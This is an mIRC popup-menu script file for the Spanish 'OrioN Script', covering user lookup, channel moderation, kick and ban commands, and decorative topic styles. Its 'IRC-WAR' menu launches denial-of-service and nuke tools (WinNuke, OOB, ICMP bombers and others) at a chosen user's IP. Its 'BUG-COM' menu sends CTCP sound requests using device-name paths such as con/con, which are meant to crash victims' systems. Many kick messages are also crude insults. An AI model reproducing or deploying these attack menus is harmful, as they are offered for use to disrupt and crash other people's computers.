[lpopup]
n0=OrioN
n1=.simple: { msg $active $$1 |  publi say }
n2=.-
n3=.new version..:  msg $active $$1 | publi say Nueva y mejorada versión: 
n4=.el poder..:  msg $active $$1 | publi say El verdadero poder se encuentra en: 
n5=.la revelación..:  msg $active $$1 | publi say La revelación del IRC: 
n6=.creiste?...:  msg $active $$1 | publi say Creiste ver todo en un script? 
n7=.war...:  msg $active $$1 | publi say El mejor war del momento en:
n8=.español..:  msg $active $$1 | publi say Script totalmente en Español:
n9=-
n10=Info
n11=.whois-status: whois $$1
n12=.whois-dialog: quien-es $$1 d 
n13=.-
n14=.Lag PING: ctcp $$1 ping
n15=.-
n16=.hacer who: set %r.who si | who $$1
n17=.ver host/ip: dns $$1
n18=.misma ip: who $gettok($address($1,2),2,64)
n19=.trazar ruta: {
n20=  run $mircdirsistema\bats\traza.bat $gettok($address($1,2),2,64)
n21=  echo -s 0,1 Trazando ruta IP bajo MSDOS 0,4  $gettok($address($1,2),2,64) 9,99
n22=}
n23=.-
n24=.DNS: dns $$1
n25=.FINGER: finger $$1
n26=.-
n27=.MSDOS-Ping:{
n28=  run $mircdirsistema\bats\msdosping.bat $gettok($address($1,2),2,64) $$?="Numero de pings a ejecutar"
n29=  echo -s 0,1 OrioN-Ping bajo MSDOS 0,4  $gettok($address($1,2),2,64) 9,99
n30=} 
n31=.ucentral: uwho $$1
n32=.ver agenda: /abook $$1
n33=.$iif($filetrue($1,log) != $null,ver log): @log $filetrue($1,log)
n34=.-
n35=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones)
n36=..clones?:  dialog -m scan scan |  set %whoscan on |  who %barsnick | .timer 1 1 scanclonesd
n37=..-
n38=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d
n39=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d
n40=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d
n41=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d
n42=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d
n43=..-
n44=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64)
n45=..-
n46=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones)
n47=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n48=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n49=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n50=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n51=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n52=..-
n53=..todos: {
n54=  kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n55=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n56=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n57=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n58=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n59=}
n60=.-
n61=.scan OrioN: dialog -m scan scan |  set %whoscan on |  who $1
n62=.scaner: run $mircdirscaner\Portscan.exe 127.45.41.45
n63=.-
n64=.espiar %barsnick : espianick %barsnick
n65=-
n66=Whois: whois $$1
n67=FSend: dcc send $$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 
n68=$iif($ignore($address($$1,2)),$style(1)) Ignorar: ignorar $$1
n69=$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,Clones < $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) >)
n70=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,1):/ dns $$1
n71=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,2):/ dns $$1
n72=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,3):/ dns $$1
n73=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,4):/ dns $$1
n74=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,5):/ dns $$1
n75=.-
n76=.DNS clon: dns $$1
n77=-
n78=$iif($me !isop $chan,$style(2)) Control
n79=.OP (+@): mode $chan +oooo $1-
n80=.DOP (-@): mode $chan -oooo $1-
n81=.Msg @
n82=..dar @ msg: set %msg#op $$?="Razon del op?" | mode $chan +o $1 | msg # 1 [2 Razon del op a10 $$1 1] [4 %msg#op 1 ] | unset %msg#op
n83=..quitar @ msg: set %deop#msg $$?="Razon del deop?" | mode $chan -o $1 | msg # 1 [2 Razon del deop a10 $$1 1] [4 %deop#msg 1 ] | unset %deop#msg
n84=.Especial @
n85=..@ Adornar:/me 12piensa que el nick de $$1 es muy 4feo | /me 3cree que adornandolo un poco quedaria mejor | /me 4le pone un simbolito exotico al nick de $$1 y ahora va a la moda! | /mode # +o $$1
n86=..@ Soledad:/me 12se apena por la cara de soledad de $$1 alla abajo | /me 4se trae a $$1 a la cima donde se sentira mejor! | /mode # +o $$1
n87=..@ Arroba:/me 12le dispara una 4arroba anti-carro 12a $$1 que pega un espectacular bote hasta encaramarse en lo alto del canal | /mode # +o $$1
n88=.-
n89=.VOZ (+v): mode $chan +vvvv $1-
n90=.DVOZ (-v): mode $chan -vvvv $1- 
n91=.Msg V
n92=..dar voz + msg: set %msg#voz $$?="Razon del voice?" | mode $chan +v $1 | msg # 1 [2 Razon del voice a10 $$1 1] [4 %msg#voz 1 ] | unset %msg#voz
n93=..quitar voz + msg: set %voz#msg $$?="Razon del devoice?" | mode $chan -v $1 | msg # 1 [2 Razon del devoice a10 $$1 1] [4 %voz#msg 1 ] | unset %voz#msg
n94=.-
n95=.KICK: kick $chan $1- 
n96=.Msg Kick
n97=..KICK + MENSAJE: kick # $$1 $$?="Msg para el kick?"
n98=..-
n99=..Superioriad: say $$1 piensas que eres igual que yo?? | .timer1 1 1 say Pero tengo algo que decirte... | .timer2 1 1 kick # $$1 Yo todavia sigo dentro de # 
n100=..Pacifico: me odia la violencia. | .timer1 1 1 me odia a la gente violenta también. | .timer2 1 2 me piensa que $$1 es demasiado violento. | .timer3 1 3 me sujeta a $$1 del cuello y lo levanta del suelo. | .timer4 1 4 me golpea el pecho de $$1 fuertemente con su puño. | .timer5 1 5 me sorprende a $$1 con un cabezazo, antes de que pueda darse cuenta de que ya está en el suelo. | .timer6 1 6 kick # $$1 Soy una persona pacífica, de veras.
n101=..Futbol: /me intercepta el balón, | .timer1 1 1 /me dribbla | .timer2 1 2 /me tira..... | .timer3 1 3 kick # $$1 ***GOOOOOOOOOOL*** 
n102=..Taza: me sujeta a $$1 del cabello y mete su cabeza en el inodoro... | .timer1 1 1 me tira de la cadena. | .timer2 1 2 kick # $$1 ¿Suficientemente sucio para ti? 
n103=..Kick Stallone:/kick # $$1 4Feliz cumpleaños, CAPULLO! -Sylvester Stallone en "Asesinos"-
n104=..Kick Stallone2:/kick # $$1 4Se acabó la liga, CABRON! -El compi de Sylvester Stallone en "Máximo riesgo"-
n105=..Kick Reservoir:/kick # $$1 4Hablas como una PUTA y te voy a pegar como a una PUTA -uno de los de "Reservoir Dogs"-
n106=..Kick Van Damme:/kick # $$1 4Lárgate, BASTARDO, y dile a tu jefe que no admitimos ESCORIA -Van Damme en "Blanco humano"-
n107=..Kick Eastwood:/kick # $$1 4Como sigas hablando te voy a meter la 44 por el CULO! -Clint Eastwood en "Harry el ejecutor"-
n108=..Tamagotchi: /.timer1 1 1 /me $$1 eres mas latoso que el puto tamagotchi | /.timer2 1 3 /me le quita las pilas al tamagotchi | /.timer3 1 5 kick # $$1 Ostia, se ha apagado...
n109=..Regalo:{ /.timer1 1 1 /say 5Si papa Noel no existe... | /.timer2 1 3 /say 5...y los reyes magos tampoco... | /.timer3 1 5 /SAY 5Por que coño tiene que existir alguien que no hace regalos??? | /.timer4 1 6 kick $chan $$1 ToMa Mi ReGaLo  }
n110=..Golpea:/me GoLpEa  a $$1 Un BuEn RaTo con un $$?="Pon el objeto que usas:" | /.timer1 1 2 /me Le PrEgUnTa a $$1... Te DiViErTeS????? No??? Pues yo me parto el Culo............ XDDDDD | /.timer2 1 4 /kick # $1 Que risa me entra XDDDDD
n111=..Mal Olor:/me huele algo, como si estuviera podrido... | /.timer1 1 5 /me mira a $1... | /.timer2 1 6 /kick # $1 Hueles muy mal para estar en el Canal, bies...
n112=..Silla Eléctrica:/.timer1 1 1 /me le hace un sitio a $1 en esa hermosa silla que le presta | /.timer2 1 3 /me $1 se sienta gustoso en ella | /.timer3 1 5 /me Cuando $1 se despista lo ata a la silla | /.timer4 1 7 /me  le da a una palanca y ¡AAAAAAAARGGGGHHHHH! POLLO FRITO | /.timer5 1 8 /kick # $1 Como te gusta, poco, medio o quemado?
n113=..Ultimate Kombo:/me 5Cree que 10 $$1 5quiere pelea..." | /me 5saca su espada... | /me 5salta sobre10 $$1 ...  | /.timer1 1 2 /me 5Empieza lo bueno, le corta la mano a10 $$1 ... | /.timer2 1 3 /me 5le corta la cabeza... | /.timer3 1 4 /me 5Whooooooooooooooooooo | /.timer4 1 4 /kick # $$1 0,10ULTIMATE COMBO 
n114=..Mucho hablar y nada:/say $1 SOLO HABLA Y NO HACE NADA...! | /.timer1 1 5 /say DEJA DEMOSTRARTE ALGUNAS COSAS QUE PUEDO HACERLE YO A $1 ... | /.timer2 1 10 /ban # $1 3 | /.timer3 1 15 /say LUCES.... | /.timer4 1 17 /say CAMARAS..... | /.timer5 1 20 /kick # $1 ****ACTION****
n115=..Algo Bonito ;):/me usas el peor arma contra $1 | /.timer1 1 2 /me le dice algo bonito al oido... | /.timer2 1 4 /msg $1 AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!! | /.timer3 1 5 /notice $1 AAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!!!!! | /.timer4 1 6 /ban # $1 3 | /.timer5 1 7 /kick # $1 AAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!!!!!!
n116=..Hardckore KicK:/me oye un ruido estraño ( $me no puede más de dolor en las dumbas) | /me ve a $$1 en la esquina de un BAR escuchando MeTAlLykA! | /me camina hacia $$1 y le encañona con una MAGNUM | /me observa como empiexa a sudar $$1 | /me apunta en la sesera a $$1 y le dispara sin ningun escrupulo | /me pide una BIRRA y le ve MORIR! | /kick # $$1 -> GLUC, GLUC, GLUC, mmmmm, que rica taba la CERVEZA!
n117=..Pervertidos Kick:/kick # $$1  -> Canal 4#sexo 3Dos manzanas más abajo so k-puyo!!...Elite:/me cree que en el canal sobra un gilipollas. ¿Quién será?... | /kick # $$1 -> No te metas con la Elite del canal!!
n118=..Status:/kick # $$1 -> 4¿Qué tal por la pantalla de Status? 3XDDDD.
n119=..Alt+F4:/kick # $$1 -> Presiona ALT+F4 para volver a entrar en $chan (pero portate bien, ok?)
n120=..Whois:/kick # $$1 -> Si me kieres putear por el kick te recomiendo k me hagas un /WHOIS*
n121=..Chistes:/kick # $$1 -> Premio al mejor chiste de la IRC
n122=.SelKICK: selkick | did -ra atake-sel 6,17 $$1  
n123=.-
n124=.BANKick: mode # +b $address($$1,2) | kick # $$1
n125=.BanKickMsg: %k = $$?="Introduce la razon" | mode # +b $address($$1,2) | kick # $$1 %k | unset %k
n126=.-
n127=.Ban nick: mode # +b $$1
n128=.tipos
n129=..*!user@host.domain: mode # +b $address($1,0) 
n130=..*!*user@host.domain: mode # +b $address($1,1) 
n131=..*!*@host.domain: mode # +b $address($1,2) 
n132=..*!*user@*.domain: mode # +b $address($1,3) 
n133=..*!*@*.domain: mode # +b $address($1,4) 
n134=..nick!user@host.domain: mode # +b $address($1,5) 
n135=..nick!*user@host.domain: mode # +b $address($1,6) 
n136=..nick!*@host.domain: mode # +b $address($1,7) 
n137=..nick!*user@*.domain: mode # +b $address($1,8) 
n138=..nick!*@*.domain: mode # +b $address($1,9) 
n139=.BK temporal: set %#timeb $chan | %nicktimeb = $$1 |  set %timeb $$?="Cuantos min quieres que permanezca el ban" | bantime 
n140=.BK especial
n141=..Cierra al salir: mode # +b $address($$1,2) | /kick # $$1 4Adios RICURA, no olvides cerrar la puerta al salir
n142=..Escribenos: mode # +b $address($$1,2)  | /kick # $$1 4Te echaremos de menos, CAPULLO, a ver si escribes
n143=..Tarado mental: mode # +b $address($$1,2)  | /kick # $$1 4Lo siento CIELO, solo admitimos gente sin taras mentales
n144=..Bocazas: mode # +b $address($$1,2)   | /kick # $$1 4Tienes la boca como un BUZON, vete a que te pongan un matasellos en los huevos
n145=..Actitud: mode # +b $address($$1,2)  | /kick # $$1 4Ya esta bien, PEDANTE, vete a ver si te admiten en #tontos_del_culo
n146=.-
n147=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,Kick clones)
n148=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n149=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n150=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n151=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n152=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n153=..-
n154=..todos: {
n155=  kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n156=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n157=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n158=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n159=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n160=}
n161=-
n162=Acciones
n163=.Privado: query $$1
n164=.-
n165=.mandar file: dcc send $$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 
n166=.e-mail
n167=..OrioN-mail: {
n168=  if ($dataemail($1,name) == $null) { echo -s  0,4 ERROR 0,1 No hay nigun mail con un nombre de cuenta en el que se encuentre8 $1 9,99  }
n169=  dialog -m sendemail sendemail
n170=}
n171=..e-mailer: { runer email $$?="Escribe su cuenta de email" }
n172=.-
n173=.Chat: dcc chat $$1
n174=.mensaje: msg $$1 $?="Cual es el mensaje para $1?"
n175=.noticia: notice $$1 $?="Que noticia le doy a $1?" 
n176=.-
n177=.f-server: openfservorion $$1 
n178=.-
n179=.CTCPs
n180=..ctcp Ping : ctcp $$1 ping
n181=..ctcp Finger: ctcp $$1 finger
n182=..ctcp Version: ctcp $$1 version
n183=..ctcp Time: ctcp $$1 time
n184=..ctcp Userinfo: ctcp $$1 userinfo..ctcp Clientinfo: ctcp $$1 clientinfo
n185=..-
n186=..ctcp específico:/ctcp $* $$?="Qué CTCP?"
n187=.-
n188=.add userlist: dialog -m userlist userlist
n189=.add notify:{
n190=  .notify $$1 
n191=  echo -s $oriontheme(sSeparadorLine)
n192=  echo -s 4,1[0,1 Añadido nick: 9 $$1 8a la lista de notificacion 4] 0,99
n193=  echo -s $oriontheme(sSeparadorLine)
n194=}
n195=-
n196=IRC-WAR
n197=. $iif(!$exists($mircdir\war),$style(2)) ClicK
n198=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click  | who $$1  
n199=..-
n200=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click  | who $$1  
n201=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click  | who $$1  
n202=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click  | who $$1  
n203=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click  | who $$1  
n204=..-
n205=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click  | who $$1  
n206=.-
n207=. $iif(!$exists($mircdir\war),$style(2)) WinNuke
n208=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke  | who $$1  
n209=.-
n210=.BUG-COM
n211=..con/con:/ ctcp $1 sound con/con.wav
n212=..com/com: ctcp $1 sound com/com.wav
n213=..clock/clock: ctcp $1 sound clock/clock.wav
n214=..ps/ps: ctcp $1 sound ps/ps.wav
n215=..aux/aux: ctcp $1 sound aux/aux.wav
n216=..lpt/lpt: ctcp $1 sound lpt/lpt.wav
n217=..nul/nul: ctcp $1 sound nul/nul.wav
n218=..-
n219=..com/clock$.mp3: ctcp $1 sound com/clock$.mp3
n220=..-
n221=..COM XMSXXX...://ctcp $1 SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3
n222=.-
n223=. $iif(!$exists($mircdir\war),$style(2)) Assault:{
n224=  echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war)
n225=  %progataker =  Assault | %ataker = on | who $$1
n226=}
n227=.-
n228=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 
n229=.-
n230=. $iif(!$exists($mircdir\war),$style(2)) OOB:{
n231=  %progataker =  OOB | %ataker = on | run $mircdirWAR\Voob.exe |  who $$1
n232=  echo -s >> 0Puesta de ip manualmente.
n233=}
n234=.-
n235=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{
n236=  %progataker =  ICMP | %ataker = on |  who $$1 run $mircdirWAR\jav\VTJBomber.exe 
n237=  echo -s >> 0Puesta de ip manualmente.
n238=}
n239=.-
n240=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: {
n241=  %progataker = ICMP bomber | %ataker = on | who $$1
n242=  run $mircdirwar\icmp.exe %whonickip
n243=  echo -s >> 0Pulse el boton start para comenzar el atake.
n244=}
n245=.-
n246=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 |  who $$1
n247=.-
n248=. $iif(!$exists($mircdir\war),$style(2)) Divint:{
n249=  %progataker =  Divint  | %ataker = on |  who $$1 
n250=  run $mircdirWAR\divint\Divint3.exe
n251=  echo -s >> 0Puesta de ip manualmente. 
n252=}
n253=.-
n254=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap  | %ataker = on | who $$1 
n255=.-
n256=. $iif(!$exists($mircdir\war),$style(2)) Panther: {
n257=  %progataker =  Panther | %ataker = on   | who $$1 
n258=  run $mircdirwar\Panther.exe 
n259=  echo -s >> 0Puesta de ip manualmente. 
n260=}
n261=.-
n262=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{
n263=  %progataker =  WnewK-x v1.11.5 | %ataker = on  | who $$1 
n264=  run $mircdirWAR\Wnewk-x.exe
n265=  echo -s >> 0Introduce manualmente los datos. 
n266=}
n267=.-
n268=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{
n269=  %progataker =  Wnuke v2.3 | %ataker = on  | who $$1 
n270=  run $mircdirWAR\wnuke.exe
n271=  echo -s >> 0Introduce manualmente la ip. 
n272=}

[cpopup]
n0=OrioN ScripT
n1=.simple: publi say
n2=.-
n3=.new version..: publi say Nueva y mejorada versión: 
n4=.el poder..: publi say El verdadero poder se encuentra en: 
n5=.la revelación..: publi say La revelación del IRC: 
n6=.creiste?...: publi say Creiste ver todo en un script? 
n7=.war...: publi say El mejor war del momento en:
n8=.español..: publi say Script totalmente en Español:
n9=-
n10=$chan
n11=.Gestor: dialog -m config# config#
n12=.-
n13=.modos
n14=..canal solo para (i)nvitados: modei
n15=..canal con nº (l)imitado de usuarios: model
n16=..canal (m)oderado solo hablan ops: modem
n17=..(n)o emitir msg externos al canal: moden
n18=..hacer el canal (p)rivado: modep
n19=..poner canal (s)ecreto: modes
n20=..solo cambian el (t)opic los ops: modet
n21=..poner (k)lave secreta para entra al canal: modek
n22=..-
n23=..modos de $chan »»»» $chan(#).mode:/modoschan
n24=..-
n25=..quitar todos los modos: mode $chan -ilmnpstk
n26=.topic
n27=..Topic baner: topic # 2ØrïøN ~ §cRiPt7 en 1[12 www.ircOrioN.net1 ]
n28=..-
n29=..Poner topic: topic %winactive $$?="Introduce el topic"
n30=..-
n31=..Predefinido:/topic # %topicd
n32=..Establecer:/set %topicd $$?="Topic por defecto"
n33=..-
n34=..Borrar topic: raw -q TOPIC #: 
n35=..-
n36=..mostrar topic
n37=...en status: echo -s 2Topic10 # $+ 1:1,99 $chan(#).topic
n38=...en canal: say 2Topic10 # $+ 1:1,99 $chan(#).topic
n39=..-
n40=..Estilos-1
n41=...©º°¨¨°º©:set %topic ©º°¨¨°º© $$?="Escribe el topic:" ©º°¨¨°º© | /topic # %topic
n42=...æ=¬«.,¸:set %topic   æ=¬«.,¸_ $$?="Escribe el topic:"  _¸,.»¬=æ | /topic # %topic
n43=...`·.¸¸.·´¯`:set %topic   `·.¸¸.·´¯`> $$?="Escribe el topic:" <´¯`·.¸¸.·´ | /topic # %topic
n44=...*.¸¸.*´¯`:set %topic   *.¸¸.*´¯`*( $$?="Escribe el topic:" )*´¯`*.¸¸. | /topic # %topic
n45=...==>>>:set %topic   ====>>>> $$?="Escribe el topic:" <<<<====== | /topic # %topic
n46=... |!¤*'~`:set %topic    |!¤*'~``~'*¤!| $$?="Escribe el topic:" |!¤*'~``~'*¤!| | /topic # %topic
n47=... -,._.,-*~I:set %topic   -,._.,-*~ $$?="Escribe el topic:" ~*-,._., | /topic # %topic
n48=...`·.¸¸.·´¯`·.¸¸.·´¯`>:set %topic   4`·.¸¸.·´¯`·.¸¸.·´¯`>1 $$?="Nuevo topic:" 4<´¯`·.¸¸.·´¯`· | /topic # %topic
n49=...*®*´¯`*.¸¸.*´¯`*(:set %topic   12*®*´¯`*.¸¸.*´¯`*(4 $$?="Nuevo topic:" 12)*´¯`*.¸¸.*´¯`*©* | /topic # %topic
n50=...=====>>>>:set %topic   4=====12>>>>1 $$?="Nuevo topic:" 12<<<<4====== | /topic # %topic
n51=...,-*-,._.,-*'^'~*->:set %topic  15.,-*-,.14_.,-*1'^'~*->12 $$?="Nuevo topic:" 1<~*-,._.,14-*~'15^'~*-,. | /topic # %topic
n52=...¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸:set %topic   1¸12,3ø6¤11°7`11°3¤1ø5,1¸6¸10,4ø7¤1°4`3°13¤5ø3,12¸3¸ 1 $$?="Nuevo topic:" 1¸12,3ø6¤11°7`11°3¤1ø5,1¸6¸10,4ø7¤1°4`3°13¤5ø3,12¸3¸ | /topic # %topic
n53=...ø¤°`°¤ø:set %topic   4ø6¤°`°¤4ø1 $$?="Nuevo topic:" 4ø9¤°`°¤4ø | /topic # %topic
n54=...¸.·`¯`·.¸¸.·`¯`·:set %topic   ¸.·`¯`·.¸¸.·`¯`· $$?="Nuevo topic:"  ·`¯`·.¸¸.·`¯`·.¸ | /topic # %topic
n55=...><((((º> ·´¯`· <º))))><: topic   12><((((º>4 ·´¯`·.¸1 $$?="Nuevo topic:" 13¸.·´¯`·12 <º))))>< | /topic # %topic
n56=...¸.·`¯`·.¸¸.·`¯`·:set %topic  8¸.·`¯`7·.¸¸.·4`¯`·6 $$?="Nuevo topic:" 4·`¯`7·.¸¸.·8`¯`·.¸ | /topic # %topic
n57=...Ondas: set %topic 6(¯`·.7(¯`·.4(¯`·.1 $$?="Nuevo topic:" 10.·´¯)11.·´¯)12.·´¯) | /topic # %topic
n58=..Estilos-2 
n59=...x(AQUI)x:/set %topic 5x(2 $+ $$?="Escribe el Topic" $+ 5)x | /topic # %topic
n60=...(¯`·._(¯`·._(¯`·._(-=// AQUI  \\=-)_.·´¯)_.·´¯)_.·´¯):/set %topic  (¯`·._(¯`·._(¯`·._(-=// $+  $+ $$?="Escribe el Topic" $+ $+  \\=-)_.·´¯)_.·´¯)_.·´¯) | /topic # %topic
n61=...-~```~-.-~```~-.-~```~-.| AQUI |.-~````~-.-~```~-.-~```~-.:/set %topic  .-~```~-.-~```~-.-~```~-.| $$?="Escribe elTopic " |.-~````~-.-~```~-.-~```~-. | /topic # %topic
n62=...¶_¸,.»¬=椺²°` AQUI `°²º¤æ=¬«.,¸_¶: /set %topic ¶_¸,.»¬=椺²°``°²º¤æ=¬«.,¸_¸,.»¬=椺²°` $$?="Escribe el topic"  `°²º¤æ=¬«.,¸_¸,.»¬=椺²°``°²º¤æ=¬«.,¸_¶ | /topic # %topic
n63=...©º°¨¨°º©^©º°¨¨°º© AQUI ©º°¨¨°º©^©º°¨¨°º©: /set %topic ©º°¨¨°º©^©º°¨¨°º© $$?="Escribe el Topic" ©º°¨¨°º©^©º°¨¨°º© | /topic # %topic
n64=...¨¨°º©o.,,.o©º°¨¨°º©(·-· AQUI ·-·)©º°¨¨°º©o.,,.o©º°¨¨:/set %topic  ¨¨°º©o.,,.o©º°¨¨°º©(·-· $$?="Escribe el Topic" ·-·)©º°¨¨°º©o.,,.o©º°¨¨ | /topic # %topic
n65=...¸¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø AQUI ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸.: /set %topic  .¸¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø $$?="Escribe el Topic" ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸. | /topic # %topic
n66=...*®*´¯`*.¸¸.*´¯`*( AQUI )*´¯`*.¸¸.*´¯`*©*:/set %topic *®*´¯`*.¸¸.*´¯`*( $$?="Escribe el Topic" )*´¯`*.¸¸.*´¯`*©* | /topic # %topic
n67=...¸.·´¯`·.¸.·´¯`·.¸ AQUI ¸.·´¯`·.¸.·´¯`·.¸:/set %topic ¸.·´¯`·.¸.·´¯`·.¸ $$?="Escribe el Topic" ¸.·´¯`·.¸.·´¯`·.¸ | /topic # %topic
n68=...¸.·´^`·.,¸¸.·´^`°²º¤æ=¬«.,¸_AQUI_¸,.»¬=椺²°`^`·.¸¸.·´^`·.,¸:/set %topic  ¸.·´^`·.,¸¸.·´^`°²º¤æ=¬«.,¸_ $$?="Escribe el Topic"  _¸,.»¬=椺²°`^`·.¸¸.·´^`·.,¸ | /topic # %topic
n69=...(¯`·.,¸¸.·´¯`·.¸¸.-> AQUI <-.¸¸.·´¯`·.¸¸.·´¯):/set %topic   (¯`·.,¸¸.·´¯`·.¸¸.-> $$?="Escribe el Topic"  <-.¸¸.·´¯`·.¸¸.·´¯) | /topic # %topic
n70=...(_ .·´¯(_.·´¯(_.·´¯( AQUI )¯`·._)¯`·._)¯`·._):/set %topic (_.·´¯(_.·´¯(_.·´¯( $$?="Escribe el Topic" )¯`·._)¯`·._)¯`·._) | /topic # %topic
n71=...`~*¤§|§¤*~`~*¤§ -=�=- AQUI -=�=- §¤*~`~*¤§|§¤*~`:/set %topic `~*¤§|§¤*~`~*¤§ -=�=-  $$?="Escribe el Topic" -=�=- §¤*~`~*¤§|§¤*~` | /topic # %topic
n72=..Estilos-3
n73=...fuego: topic # 0,8%,7'%8,7%,4,7'%7,4%,1,4'%4,1%8,1 $$?="Pon el topic" 4,1%1,4%,7'%4,7%,8,7'%7,8%,0,8'%  
n74=...hielo: topic # 0,11%,12'%11,12%,2,12'%12,2%,1,2'%12,1%11,1 $$?="Pon el topic" 12,1%1,2%,12'%2,12%,11,12'%12,11%,0,11'%  
n75=...verdes: topic # 0,9%,3'%9,3%,10,3'%3,10%,1,10'%10,1%9,1 $$?="Pon el topic"  10,1%1,10%,3'%10,3%,9,3'%3,9%,0,9'% 
n76=...rocas: topic # 0,6%,4'%6,4%,5,4'%4,5%,1,5'%5,1%13,1 $$?="Pon el topic" 5,1%1,5%,4'%5,4%,6,4'%4,6%,0,6'% 
n77=..-
n78=..Topics $active
n79=...$getvarconfig#($active,topic1): topic # $getvarconfig#($active,topic1)
n80=...$getvarconfig#($active,topic2): topic # $getvarconfig#($active,topic2)
n81=...$getvarconfig#($active,topic3): topic # $getvarconfig#($active,topic3)
